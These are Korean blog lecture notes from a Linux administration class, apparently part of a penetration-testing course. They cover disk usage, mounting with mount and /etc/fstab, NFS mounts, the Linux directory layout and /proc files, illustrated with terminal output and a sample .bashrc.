/dev/sda6     ext3      497829     10544    461583   3% /data3
/dev/sda5     ext3      497829     10544    461583   3% /data4
tmpfs        tmpfs      517504         0    517504   0% /dev/shm
/dev/hdc   iso9660     4087030   4087030         0 100% /media/CentOS_5.5_Final
/dev/sdb1     ext3     1027768     17692    999636   2% /raid0
/dev/sdc1     ext3     1027768     17692    999636   2% /raid1
/dev/sda3     ext3      497861     10556    461601   3% /home
[root@linux220 /test]# du -sk /var
72840   /var
[root@linux220 /test]# cd /var
[root@linux220 /var]# du -sk *
12      account
14012   cache
8       crash
28      db
32      empty
16      ftp
8       games
20      gdm
46832   lib
8       local
32      lock
2220    log
4       mail
140     named
8       nis
8       opt
8       preserve
8       racoon
388     run
248     spool
8       tmp
8       tux
8752    www
24      yp
[root@linux220 /var]# du -sk * | sort -nr | more
[root@linux220 /var]# du -sk * | sort -nr
46832   lib
14012   cache
8752    www
2220    log
388     run
248     spool
140     named
32      lock
32      empty
28      db
24      yp
20      gdm
16      ftp
12      account
8       tux
8       tmp
8       racoon
8       preserve
8       opt
8       nis
8       local
8       games
8       crash
4       mail



리눅스에서는 드라이브 라고 하지 않고 파일시스템 이라고 한다 data1 파일시스템 home 파일시스템 뭐 이런식
커널패닉 커널패닉 커널패닉
차근차근 배워 반복해서 보다보면



마운트 확인

■ 현재 마운트 할 때 사용하는 명령어 : mount CMD
■ 부팅시 마운트 할 때 사용하는 파일 : /etc/fstab   (부팅시에 자동 마운트)

[명령어 형식]
# df -k         /* 마운트 상황 정보, 디스크 사용량 점검 확인 */
# mount         /* 마운트 옵션 정보 확인, 마운트 시간 확인 */

[EX] df 명령어 출력 결과 해석
# df -k    (# df -h)

[root@linux220 /var]# df -k
Filesystem    Type   1K-blocks      Used Available Use% Mounted on
/dev/sda1     ext3    37114672   3237024  31961900  10% /
/dev/sda8     ext3      497829     10544    461583   3% /data1
/dev/sda7     ext3      497829     10544    461583   3% /data2
/dev/sda6     ext3      497829     10544    461583   3% /data3
/dev/sda5     ext3      497829     10544    461583   3% /data4
tmpfs        tmpfs      517504         0    517504   0% /dev/shm
/dev/hdc   iso9660     4087030   4087030         0 100% /media/CentOS_5.5_Final
/dev/sdb1     ext3     1027768     17692    999636   2% /raid0
/dev/sdc1     ext3     1027768     17692    999636   2% /raid1
/dev/sda3     ext3      497861     10556    461601   3% /home
[root@linux220 /var]# df -h
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3     36G  3.1G   31G  10% /
/dev/sda8     ext3    487M   11M  451M   3% /data1
/dev/sda7     ext3    487M   11M  451M   3% /data2
/dev/sda6     ext3    487M   11M  451M   3% /data3
/dev/sda5     ext3    487M   11M  451M   3% /data4
tmpfs        tmpfs    506M     0  506M   0% /dev/shm
/dev/hdc   iso9660    3.9G  3.9G     0 100% /media/CentOS_5.5_Final
/dev/sdb1     ext3   1004M   18M  977M   2% /raid0
/dev/sdc1     ext3   1004M   18M  977M   2% /raid1
/dev/sda3     ext3    487M   11M  451M   3% /home


(df -h 출력 화면 해석)
-------------------------------------------------------------------
/dev/sda1               장치 이름(Filesystem)
18G                     전체 공간(Size)
5.3G                    사용중인 공간(Used)
12G                     남은 공간(Avail)
32%                     전체공간에서 사용중인 공간의 백분율(Use%)
/                       마운트 포인트(Mounted on)
-------------------------------------------------------------------



[root@linux220 /var]# mount
/dev/sda1 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda8 on /data1 type ext3 (rw)
/dev/sda7 on /data2 type ext3 (rw)
/dev/sda6 on /data3 type ext3 (rw)
/dev/sda5 on /data4 type ext3 (rw)
tmpfs on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
none on /proc/fs/vmblock/mountPoint type vmblock (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
/dev/hdc on /media/CentOS_5.5_Final type iso9660 (ro,noexec,nosuid,nodev,uid=0)
/dev/sdb1 on /raid0 type ext3 (rw)
/dev/sdc1 on /raid1 type ext3 (rw)
/dev/sda3 on /home type ext3 (rw)


(mount 명령어 출력결과 해석)
----------------------------------------------
/dev/sda1              장치 이름
/                      마운트 포인터
ext3                   마운트 파일시스템
(rw)                   마운트 옵션
----------------------------------------------


[참고] mount 명령어 출력 형식 보기 좋게 출력하기
# mount | column -t   (# CMD | column -t)


[root@linux220 /var]# mount | column -t
/dev/sda1  on  /                            type  ext3         (rw)
proc       on  /proc                        type  proc         (rw)
sysfs      on  /sys                         type  sysfs        (rw)
devpts     on  /dev/pts                     type  devpts       (rw,gid=5,mode=620)
/dev/sda8  on  /data1                       type  ext3         (rw)
/dev/sda7  on  /data2                       type  ext3         (rw)
/dev/sda6  on  /data3                       type  ext3         (rw)
/dev/sda5  on  /data4                       type  ext3         (rw)
tmpfs      on  /dev/shm                     type  tmpfs        (rw)
none       on  /proc/sys/fs/binfmt_misc     type  binfmt_misc  (rw)
none       on  /proc/fs/vmblock/mountPoint  type  vmblock      (rw)
sunrpc     on  /var/lib/nfs/rpc_pipefs      type  rpc_pipefs   (rw)
/dev/hdc   on  /media/CentOS_5.5_Final      type  iso9660      (ro,noexec,nosuid,nodev,uid=0)
/dev/sdb1  on  /raid0                       type  ext3         (rw)
/dev/sdc1  on  /raid1                       type  ext3         (rw)
/dev/sda3  on  /home                        type  ext3         (rw)



마운트에 관련한 파일들

■ /proc/mounts : proc 가상 파일 시스템의 일부 (리눅스 커널이 시스템 상태를 파일 형식으로 보여주는 것)
■ /etc/mtab    : 현재 마운트된 정보를 담는다.
■ /etc/fstab   : 부팅시에 마운트 할 만한 정보를 담는다.


[root@linux220 /var]# cat /etc/mtab
/dev/sda1 / ext3 rw 0 0
proc /proc proc rw 0 0
sysfs /sys sysfs rw 0 0
devpts /dev/pts devpts rw,gid=5,mode=620 0 0
/dev/sda8 /data1 ext3 rw 0 0
/dev/sda7 /data2 ext3 rw 0 0
/dev/sda6 /data3 ext3 rw 0 0
/dev/sda5 /data4 ext3 rw 0 0
tmpfs /dev/shm tmpfs rw 0 0
none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0
none /proc/fs/vmblock/mountPoint vmblock rw 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw 0 0
/dev/hdc /media/CentOS_5.5_Final iso9660 ro,noexec,nosuid,nodev,uid=0 0 0
/dev/sdb1 /raid0 ext3 rw 0 0
/dev/sdc1 /raid1 ext3 rw 0 0
/dev/sda3 /home ext3 rw 0 0
[root@linux220 /var]# cat /etc/mtab | grep /dev/sda1
/dev/sda1 / ext3 rw 0 0


[EX] /etc/mtab 파일 실습

[root@linux220 /var]# cat /etc/mtab | grep sdb1
/dev/sdb1 /raid0 ext3 rw 0 0
[root@linux220 /var]# umount /raid0
[root@linux220 /var]# umount /raid1
[root@linux220 /var]# df -k
Filesystem    Type   1K-blocks      Used Available Use% Mounted on
/dev/sda1     ext3    37114672   3237024  31961900  10% /
/dev/sda8     ext3      497829     10544    461583   3% /data1
/dev/sda7     ext3      497829     10544    461583   3% /data2
/dev/sda6     ext3      497829     10544    461583   3% /data3
/dev/sda5     ext3      497829     10544    461583   3% /data4
tmpfs        tmpfs      517504         0    517504   0% /dev/shm
/dev/hdc   iso9660     4087030   4087030         0 100% /media/CentOS_5.5_Final
/dev/sda3     ext3      497861     10556    461601   3% /home
[root@linux220 /var]# cat /etc/mtab | grep sdb1


[root@linux220 /var]# cd
[root@linux220 ~]# mkdir -p /testmount
[root@linux220 ~]# mount /dev/sdb1 /testmount
[root@linux220 ~]# cat /etc/mtab | grep /dev/sdb1
/dev/sdb1 /testmount ext3 rw 0 0
[root@linux220 ~]# df -k
Filesystem    Type   1K-blocks      Used Available Use% Mounted on
/dev/sda1     ext3    37114672   3237028  31961896  10% /
/dev/sda8     ext3      497829     10544    461583   3% /data1
/dev/sda7     ext3      497829     10544    461583   3% /data2
/dev/sda6     ext3      497829     10544    461583   3% /data3
/dev/sda5     ext3      497829     10544    461583   3% /data4
tmpfs        tmpfs      517504         0    517504   0% /dev/shm
/dev/hdc   iso9660     4087030   4087030         0 100% /media/CentOS_5.5_Final
/dev/sda3     ext3      497861     10556    461601   3% /home
/dev/sdb1     ext3     1027768     17692    999636   2% /testmount

[root@linux220 ~]# umount /testmount
[root@linux220 ~]# cat /etc/mtab | grep /dev/sdb1


(2) /etc/fstab 파일 (매우중요!!!!!!!)

/etc/fstab 파일은 부팅시에 마운트 할 만한 정보를 담고 있다.
부팅시 커널은 /etc/fstab 파일을 읽어서 마운트 할 디바이스를 찾고
이 디바이스들을 /etc/fstab파일에 명시된 디렉토리에 마운트 시킨다.


[root@linux220 ~]# cat /etc/fstab
LABEL=/                 /                       ext3    defaults        1 1
LABEL=/data1            /data1                  ext3    defaults        1 2
LABEL=/data2            /data2                  ext3    defaults        1 2
LABEL=/data3            /data3                  ext3    defaults        1 2
LABEL=/data4            /data4                  ext3    defaults        1 2
LABEL=/home             /home                   ext3    defaults        1 2
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
LABEL=SWAP-sda2         swap                    swap    defaults        0 0

그림5


☀ 옵션 : 파일 시스템 속성을 설정하는 옵션
·defaults: rw, nouser, auto, exec, suid 속성을 모두 가지는 옵션
·auto    : 부팅시 자동 마운트
·noauto  : 부팅시 자동 마운트 안함
·exec    : 실행 파일이 실행되는 것을 허용 함
·noexec  : 실행 파일이 실행되는 것을 허용 안함
·suid    : SetUID, SetGID의 사용을 허용하는 옵션
·ro[read-only]  : 읽기 전용
·rw[read-write] : 읽고 쓰기 가능
·user : 일반 계정 사용자들도 마운트 할 수 있는 옵션
·nouser : root만 mount 가능
·usrquota : 일반 사용자 quota 적용
·grpquota : 그룹 quota 적용

-dump 관련 설정 : 0 or 1
· 0: 덤프되지 않은 파일 시스템
· 1: 데이터 백업을 위해 dump 가능

- 파일 점검 옵션 : 0, 1, 2 값을 지정
· 0: 부팅시 fsck를 사용하지 않음 ·
· 1: 루트 파일 시스템을 의미
· 2: 루트 파일 시스템 이외의 파일
      시스템을 의미


(/etc/fstab 파일 출력결과 해석)
----------------------------------------------------------------------------------------------------------
필드        설 명
----------------------------------------------------------------------------------------------------------
LABEL=/     마운트할 장치이름
/           마운트포인터, 파일 시스템을 마운트해서 사용할 경로를 지정
ext3        마운트할 파일 시스템의 형식 지정 (리눅스 : ext3, 윈도우 : FAT, NTFS, CD-ROM : iso9660)
defaults    마운트 할 때 사용할 옵션 지정  
1           dump라는 프로그램에 의해 덤프 파일시스템 지정. (ext3 리눅스 파티션 - 1, 이외 파티션 - 0으로 할당)
1           부팅과정에서 파일 시스템의 이상 여부를 확인하고 문제가 있다면 자동으로 점검

0 : 파일 시스템 점검하지 않는다.
1 : 파일 시스템 점검 시 가장 먼저 check
2 이상 : 파일 시스템 점검 시 순서
----------------------------------------------------------------------------------------------------------



[참고] /etc/fstab 파일의 해석중 LABEL=/data4 의미는?
'LABEL=/data4' 형식은 RedHat Linux 계열에서만 존재한다.


[EX] /etc/fstab 파일 실습
(선수작업) 현재 /testmount 마운트가 되어 있지 않다.
  # df -h
           # umount /testmount


# vi /etc/fstab

/dev/sdb1               /testmount              ext3    defaults        1 2

-> (부팅) # mount -t ext3 -o defaults /dev/sdb1 /testmount

[root@linux220 ~]# df -h
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3     36G  3.1G   31G  10% /
/dev/sda8     ext3    487M   11M  451M   3% /data1
/dev/sda7     ext3    487M   11M  451M   3% /data2
/dev/sda6     ext3    487M   11M  451M   3% /data3
/dev/sda5     ext3    487M   11M  451M   3% /data4
/dev/sda3     ext3    487M   11M  451M   3% /home
tmpfs        tmpfs    506M     0  506M   0% /dev/shm
/dev/sdb1     ext3   1004M   18M  977M   2% /testmount
/dev/hdc   iso9660    3.9G  3.9G     0 100% /media/CentOS_5.5_Final



[참고] 로컬 & 원격 파일시스템 마운트시 (Local & NFS Mount)

■ 로컬 영역 파일 시스템 마운트시
# mount -t ext3 [-o options] /dev/hda1 /testmount
# mount /dev/hda1 /testmount

■ 원격 영역 파일 시스템 마운트시
# mount -t nfs [-o options] [서버ip주소]:/root/shell /testmount
# mount 172.16.9.252:/root/shell /testmount


[EX] NFS 간단한 테스트

# showmount -e 172.16.9.252
/nfstest 172.16.0.0/16

# mkdir –p /mnt/server
# mount 172.16.9.252:/nfstest /mnt/server

# df –h
172.16.9.252:/nfstest
               nfs     18G  5.3G   12G  31% /mnt/server
# cd
# umount /mnt/server



[root@linux220 ~]# showmount -e 172.16.9.252
Export list for 172.16.9.252:
/nfstest                   172.16.0.0/16
/export/centos             172.16.0.0/16
/backup/linux249           172.16.1.249
/backup/linux240           172.16.1.240
/backup/linux239           172.16.1.239
/backup/linux238           172.16.1.238
/backup/linux237           172.16.1.237
/backup/linux236           172.16.1.236
/backup/linux235           172.16.1.235
/backup/linux234           172.16.1.234
/backup/linux233           172.16.1.233
/backup/linux232           172.16.1.232
/backup/linux231           172.16.1.231
/backup/linux230           172.16.1.230
/backup/linux229           172.16.1.229
/backup/linux228           172.16.1.228
/backup/linux227           172.16.1.227
/backup/linux226           172.16.1.226
/backup/linux225           172.16.1.225
/backup/linux224           172.16.1.224
/backup/linux223           172.16.1.223
/backup/linux222           172.16.1.222
/backup/linux221           172.16.1.221
/backup/linux220           172.16.1.220
/backup/linux219           172.16.1.219
/backup/linux218           172.16.1.218
/backup/linux217           172.16.1.217
/backup/linux216           172.16.1.216
/backup/linux215           172.16.1.215
/backup/linux214           172.16.1.214
/backup/linux213           172.16.1.213
/backup/linux212           172.16.1.212
/backup/linux211           172.16.1.211
/backup/linux210           172.16.1.210
/backup/linux209           172.16.1.209
/backup/linux208           172.16.1.208
/backup/linux207           172.16.1.207
/backup/linux206           172.16.1.206
/backup/linux205           172.16.1.205
/backup/linux204           172.16.1.204
/backup/linux203           172.16.1.203
/backup/linux202           172.16.1.202
/backup/linux201           172.16.1.201
/backup/linux200           172.16.1.200
/root/packages/vmwaretools 172.16.0.0/16


[root@linux220 ~]# mkdir /mnt/server
[root@linux220 ~]# mount 172.16.9.252:/nfstest /mnt/server
[root@linux220 ~]# df -h
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3     36G  3.1G   31G  10% /
/dev/sda8     ext3    487M   11M  451M   3% /data1
/dev/sda7     ext3    487M   11M  451M   3% /data2
/dev/sda6     ext3    487M   11M  451M   3% /data3
/dev/sda5     ext3    487M   11M  451M   3% /data4
/dev/sda3     ext3    487M   11M  451M   3% /home
tmpfs        tmpfs    506M     0  506M   0% /dev/shm
/dev/sdb1     ext3   1004M   18M  977M   2% /testmount
/dev/hdc   iso9660    3.9G  3.9G     0 100% /media/CentOS_5.5_Final
172.16.9.252:/nfstest
               nfs     18G   12G  5.4G  69% /mnt/server
[root@linux220 ~]# cd /mnt/server
[root@linux220 /mnt/server]# ls
bashrc.txt  file1


[root@linux220 /mnt/server]# cat bashrc.txt
# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

#
# Sfecific Configuration
#

# (1) Bash Shell Function
set -o vi

# (2) Variable Definition
# export PS1='[\w]\$ '
# export PS1='[\h:\w]\$ '
export PS1='\e[34;42m[\h@\w]\$ \e[0m '
export HISTTIMEFORMAT='%C %T       '

# (3) Alias
alias c='clear'
alias ls='ls --color=tty -hF'
alias vi='/usr/bin/vim'
alias grep='grep --color -i'
alias df='df -T -h'
alias dff='df -t ext3 ; echo ; df -i'
#alias mount='mount | column -t'   # mount CMD error

alias gzip='gzip -v'
alias gunzip='gunzip -v'
alias bzip2='bzip2 -v'
alias bunzip2='bunzip2 -v'

#
# Compatible
#
alias ipconfig='/sbin/ifconfig'
alias topas='/bin/top'
alias lspv='/bin/ls -l /dev/sd?'

#
# Log Monitoring
#
alias mlog='tail -f /var/log/messages'

#
# DNS Alias
#
alias named.caching-nameserver.conf='vi /var/named/chroot/etc/named.caching-nameserver.conf'
alias named.rfc1912.zones='vi /var/named/chroot/etc/named.rfc1912.zones'
alias DNS='cd /var/named/chroot/var/named'
alias named-checkconf='named-checkconf /var/named/chroot/etc/named.caching-nameserver.conf'

#
# FTP Alias
#
alias FTP='cd /etc/vsftpd'
alias vsftpd.conf='vi /etc/vsftpd/vsftpd.conf'
alias ftpusers='vi /etc/vsftpd/ftpusers'
alias user_list='vi /etc/vsftpd/user_list'
alias flog='tail -f /var/log/xferlog'

#
# Mail Alias
#
alias MAIL='cd /etc/mail'
alias sendmail.cf='vi /etc/mail/sendmail.cf'
alias mlog='tail -f /var/log/maillog'

#
# Samba Alias
#
alias smb.conf='vi /etc/samba/smb.conf'
alias SMB='cd /etc/samba'
alias smblog='tail –f /var/log/samba/smbd.log'
alias nmblog='tail -f /var/log/samba/nmbd.log'


[root@linux220 /mnt/server]# ls
bashrc.txt  file1  file2
[root@linux220 /mnt/server]# ls
bashrc.txt  file1  file2  file3
[root@linux220 /mnt/server]# cp file3 /test
[root@linux220 /mnt/server]# cd /test
[root@linux220 /test]# cat file3
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
tty:x:5:
disk:x:6:root
lp:x:7:daemon,lp
mem:x:8:
kmem:x:9:
wheel:x:10:root
mail:x:12:mail
news:x:13:news
uucp:x:14:uucp
man:x:15:
games:x:20:
gopher:x:30:
dip:x:40:
ftp:x:50:
lock:x:54:
nobody:x:99:
users:x:100:
utmp:x:22:
utempter:x:35:
audio:x:63:gdm
distcache:x:94:
nscd:x:28:
floppy:x:19:
vcsa:x:69:
apache:x:48:
rpc:x:32:
mailnull:x:47:
smmsp:x:51:
webalizer:x:67:
dovecot:x:97:
squid:x:23:
pcap:x:77:
slocate:x:21:
ntp:x:38:
ecryptfs:x:101:
dbus:x:81:
avahi:x:70:
rpcuser:x:29:
nfsnobody:x:65534:
named:x:25:
hsqldb:x:96:
sshd:x:74:
haldaemon:x:68:
avahi-autoipd:x:102:
xfs:x:43:
gdm:x:42:
sabayon:x:86:
fedora:x:500:
user02:x:502:
oprofile:x:16:
user01:x:503:
mail01:x:504:
mail02:x:505:
team01:x:506:
team02:x:507:
teamsub1:x:508:
teamsub2:x:509:
teamsub3:x:510:
teamsub4:x:511:
oracle:x:512:
[root@linux220 /test]# cd
[root@linux220 ~]# umount /mnt/server
[root@linux220 ~]# df -h
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/sda1     ext3     36G  3.1G   31G  10% /
/dev/sda8     ext3    487M   11M  451M   3% /data1
/dev/sda7     ext3    487M   11M  451M   3% /data2
/dev/sda6     ext3    487M   11M  451M   3% /data3
/dev/sda5     ext3    487M   11M  451M   3% /data4
/dev/sda3     ext3    487M   11M  451M   3% /home
tmpfs        tmpfs    506M     0  506M   0% /dev/shm
/dev/sdb1     ext3   1004M   18M  977M   2% /testmount
/dev/hdc   iso9660    3.9G  3.9G     0 100% /media/CentOS_5.5_Final







'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160425 리눅스 관리자  (0) 2016.04.27
20160422 리눅스 관리자  (0) 2016.04.23
20160420 리눅스 관리자  (0) 2016.04.21
20160420 리눅스 기초  (0) 2016.04.21
20160419 리눅스 기초  (0) 2016.04.20
Posted by 22Hz
, |

=================================메모=================================

■ 참고
· (용어정의) http://www.terms.co.kr, http://ko.wikipedia.org/wiki
· 레드햇 공인 교재
· 리눅스 매뉴얼 페이지
· 레드햇 문서 사이트 (http://www.redhat.com/docs)

■ 패키지 관련 사이트 :
· http://httpd.apache.org/
· http://www.proftpd.org/
· http://www.openwall.com/
· http://www.openssh.com/
· http://us5.samba.org/samba/

■ 문서 관련 사이트 :
· http://www.redhat.com/docs
· http://ko.wikipedia.org/wiki

=================================복습=================================

없음

=================================강의=================================

1. 디렉토리 구조
 # ls /
 backup data1 data4 home media net root srv tmp
 bin data2 dev lib misc opt sbin sys usr
 boot data3 etc lost+found mnt proc selinux test var

2. 장치 관리(EX: 디스크 장치 관리)
 (ㄱ) 장치 추가 및 인식 (kudzu 서비스)
 (ㄴ) 파티션 작업 (fdisk CMD)
 (ㄷ) 파일시스템 작업 (mkfs CMD)
 (ㄹ) 마운트 작업 (mount CMD, /etc/fstab)

=================================실습=================================

리눅스 디렉토리 구조

리눅스의 디렉토리 구조는 전체적으로 트리(Tree) 구조를 하고 있으며,
명령어의 성격과 내용 및 사용 권한 등에 따라 디렉토리로 구분되어 있다.
리눅스 파일 시스템 구조는 기본적인 구조를 제외하고는 사용자의 설정에 따라 달라질 수 있다.
하지만 리눅스의 디렉토리 구조는 파일 시스템 표준안(FSSTND, Linux File System Standard)을 기반으로 하는 것이 바람직하다.
표준안을 무조건 따르라는 강제력은 없지만 리눅스 파일 시스템 표준안을 따라 파일 시스템을 구성할 경우
파일들의 위치가 일관되게 유지되어 프로그램 작성, 포팅은 물론 시스템 관리도 쉬워지는 이점이 있기 때문에
대부분의 배포판들이 이 표준안을 지키고 있다.
대부분의 리눅스는 FHS(Filesystem Hierarchy Standard) 표준 파일 시스템 계층을 사용하고
같은 목적의 파일들을 같은 장소에 일관되게 모아 관리하므로 시스템 자원이나 프로그램들을 쉽게 찾을 수 있다.
다시 말하자면 명령어,파일 그리고 문서들이 제각기 독립된 장소에서 관리된다.


[root@linux220 ~]# ls /
backup  boot   data2  data4  etc   lib         media  mnt  opt   root  selinux  sys   tmp  var
bin     data1  data3  dev    home  lost+found  misc   net  proc  sbin  srv      test  usr

그림1


■ /(root) 디렉토리
일반적으로 루트 디렉토리라고 부르는 리눅스 시스템에서 가장 최상위 디렉토리이며 디렉토리 구조의 시작이다.

■ /bin 디렉토리
binaries의 약어로 이진 파일들이며 리눅스에서 가장 기본이 되는 명령어들이 모여 있는 디렉토리이다.

■ /bin - 사용자가 사용하는 명령어 (EX: ls, cp, mv, rm, ...)
■ /sbin - 관리자가 사용하는 명령어 (EX: fsck, fdisk, ....)
# find / -name bin -type d
# find / -name sbin -type d

■ /etc 디렉토리
/etc 디렉토리는 리눅스에서 없어서는 안 될 디렉토리이며,
리눅스 시스템에 관한 각종 환경 설정에 연관된 파일들과 디렉토리들을 가진 디렉토리이다.
이 디렉토리에 있는 대부분의 파일들은 시스템 관리자에 의해서 관리되는 파일들이다.

■ /boot 디렉토리
리눅스의 커널이 저장되어 있는 디렉토리로서 각종 리눅스 Boot에 필요한 Booting 지원 파일들이 저장되어 있는 디렉토리이다.
디렉토리 안을 살펴보면 vmlinuz라는 커널도 볼 수 있다.

■ /usr 디렉토리
이 디렉토리 역시 가장 중요한 디렉토리 중 하나로 사용하면서 공유할 수 있는 디렉토리와 파일들을 가지고 있다.
즉, 시스템에 사용되는 각종 응용 프로그램들이 설치되는 디렉토리이다.
거의 모든 프로그램과 그에 관련된 명령어 및 라이브러리들이 이 디렉토리에 위치하게 된다.
또한 X 시스템 관련 파일들과 리눅스 커널 소스, 각종 C언어 관련 헤더파일 등도 이 디렉토리 안에 저장되어 있다.

■ /lib 디렉토리
/lib 디렉토리에는 프로그램들의 각종 라이브러리들이 존재한다.
대부분 공유 라이브러리로 더 편리하게 사용할 수 있으며, 파일 크기를 줄여서 실행할 때 불러 사용하게 된다.

라이브러리란? 기능을 모듈화 시켜놓은것이다 덩어리 = 머리.lib + 몸.lib + 팔.lib + 다리.lib
동적 라이브러리(dll) 너희들 다 쓰렴
정적 라이브러리(lib) 나만 쓸거야
http://blog.naver.com/kjio9710/220671911593 <- 잘 정리되어있음!!


■ /dev 디렉토리
/dev 디렉토리에는 시스템의 각종 디바이스들의 목록이 들어 있는 디렉토리이다.
디렉토리를 살펴보면 많은 파일들이 위치하고 있는 것을 볼 수 있다.
하지만 이 디렉토리는 물리적인 용량은 갖지 않는 가상 디렉토리이다.
대표적으로 하드 드라이브, 플로피, CD-ROM 그리고 루프백 장치 등이 존재한다.
리눅스 시스템은 윈도와 달리 각종 디바이스 장치들을 하나의 파일로 취급한다.
따라서 시스템은 각각의 장치로부터의 정보를 /dev 디렉토리에 존재하는 해당 장치 파일로부터 가져온다.


■ /proc 디렉토리 (굉장히 중요해 굉장히 굉장하게 중요해)
/proc 디렉토리에는 시스템의 각종 프로세서, 프로그램 정보 그리고 하드웨어적인 정보들이 저장된다.
이 디렉토리는 가상 파일 시스템으로 /dev 디렉토리와 마찬가지로 하드디스크 상에 물리적인 용량을 갖지 않는다.
즉, 실제로 존재하지 않는다는 것이다.
또한 이 디렉토리에 존재하는 파일들은 실제 하드 디스크에 저장되지 않고 커널에 의해서 메모리에 저장된다.
그러므로 그 디렉토리 안의 파일들은 현재의 시스템 설정을 보여주는 것이다.


① /proc/partitions 파일
이 파일은 하드디스크 분할영역 상태에 대한 정보를 표시한다.
# cat /proc/partitions /* 관련된 명령어 : fdisk -l, df -h, free */

[root@linux220 ~]# cat /proc/partitions
major minor  #blocks  name

   8     0   41943040 sda
   8     1   38314993 sda1
   8     2    1052257 sda2
   8     3     514080 sda3
   8     4          1 sda4
   8     5     514048 sda5
   8     6     514048 sda6
   8     7     514048 sda7
   8     8     514048 sda8
[root@linux220 ~]# fdisk -l

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux


② /proc/filesystems 파일
시스템에 설정되어 있는 파일 시스템에 대한 정보를 저장하고 있는 파일이다.
# cat /proc/filesystems

[root@linux220 ~]# cat /proc/filesystems
nodev   sysfs
nodev   rootfs
nodev   bdev
nodev   proc
nodev   cpuset
nodev   binfmt_misc
nodev   debugfs
nodev   securityfs
nodev   sockfs
nodev   usbfs
nodev   pipefs
nodev   anon_inodefs
nodev   futexfs
nodev   tmpfs
nodev   inotifyfs
nodev   eventpollfs
nodev   devpts
        ext2
nodev   ramfs
nodev   hugetlbfs
        iso9660
nodev   mqueue
        ext3
nodev   vmhgfs
nodev   vmblock
nodev   rpc_pipefs
nodev   autofs


③ /proc/swaps 파일
스왑 정보를 알 수 있다.
리눅스를 설치하면서 설정한 스왑 파티션 외에 리눅스 시스템이 사용하고 있는 스왑 파일에 대한 정보도 알 수 있습니다.
# cat /proc/swaps /* 관련 명령어 : free */


④ /proc/version 파일 /* # uname -a */
이 파일은 리눅스 커널의 버전을 알려 준다.
레드햇 리눅스는 최신의 커널인 커널 2.6을 사용하고 있는 것을 확인할 수 있다.
# cat /proc/version /* # dmesg | grep -i version */


⑤ /proc/devices 파일
현재 리눅스 커널에 설정되어 있는 하드웨어의 목록을 볼 수 있다.
/dev에 있는 파일들의 정보를 확인 하는것과 같다.
리눅스는 두 가지 종류의 하드웨어 디바이스를 인식한다.
하나는 디스크와 같은 블록 디바이스와 프린터, 모뎀과 같은 캐릭터 디바이스이다.
# cat /proc/devices

⑥ /proc/ioports 파일
현재 어느 I/O 포트가 사용 중인지를 확인 할 때 사용한다.
IRQ의 경우처럼 I/O 포트 역시 하드웨어끼리 충돌이 있어서는 안 된다.
# cat /proc/ioports

⑦ /proc/cpuinfo 파일
리눅스 서버의 CPU 정보가 들어 있다. CPU 의 타입, 모델, 제조회사, 성능 등에 관한 정보를 알려 준다.
# cat /proc/cpuinfo /* # dmesg | grep -i cpu */

⑧ /proc/meminfo 파일
메모리 사용량에 관한 정보를 보여 준다. 실제 메모리뿐만 아니라 가상 메모리까지 모두 확인할 수 있다.
# cat /proc/meminfo /* # dmesg | grep -i mem ,# free */

■ /var 디렉토리
/var 디렉토리는 시스템에서 사용되는 가변적인 파일들이 저장된다.
각종 시스템 로그파일, 사용자 로그인에 대한 보안 기록,
그리고 만약 시스템에 메일 서버를 운영한다면 사용자들에게 전송된 메일들을 임시로 저장한다.
레드햇 7.0에서부터 /var 디렉토리의 용도에 대한 변경 내용이 있다.
과거에는 /home 디렉토리에 저장되던 /home/ httpd 디렉토리가 /var/www 로 이름이 변경되어 저장된다.
또한 /home/ftp 디렉토리가 /var/ftp로 변경되었다.


■ /tmp 디렉토리
디렉토리 이름에서도 알 수 있듯이 임시 파일들을 위한 디렉토리이다.
이 디렉토리는 프로그램들이 사용하는 임시 파일들이 생성되는 디렉토리이다.
/tmp 디렉토리안의 내용은 재부팅 되면 삭제되고 부팅이 되면서 다시 생성이 된다.



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160422 리눅스 관리자  (0) 2016.04.23
20160421 리눅스 관리자  (0) 2016.04.22
20160420 리눅스 기초  (0) 2016.04.21
20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
Posted by 22Hz
, |
=================================메모=================================

# yum -y install gcc //gcc 설치
열심히 따라할것
먼저하다가 사고치지말것
꼭 외우라는건 반드시 외울것



echo "|---> ~/.bashrc read"

# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

#
# Specific Configuration
#
export PS1='[\u@\h \w]\$ '
alias ls='ls --color=tty -h'
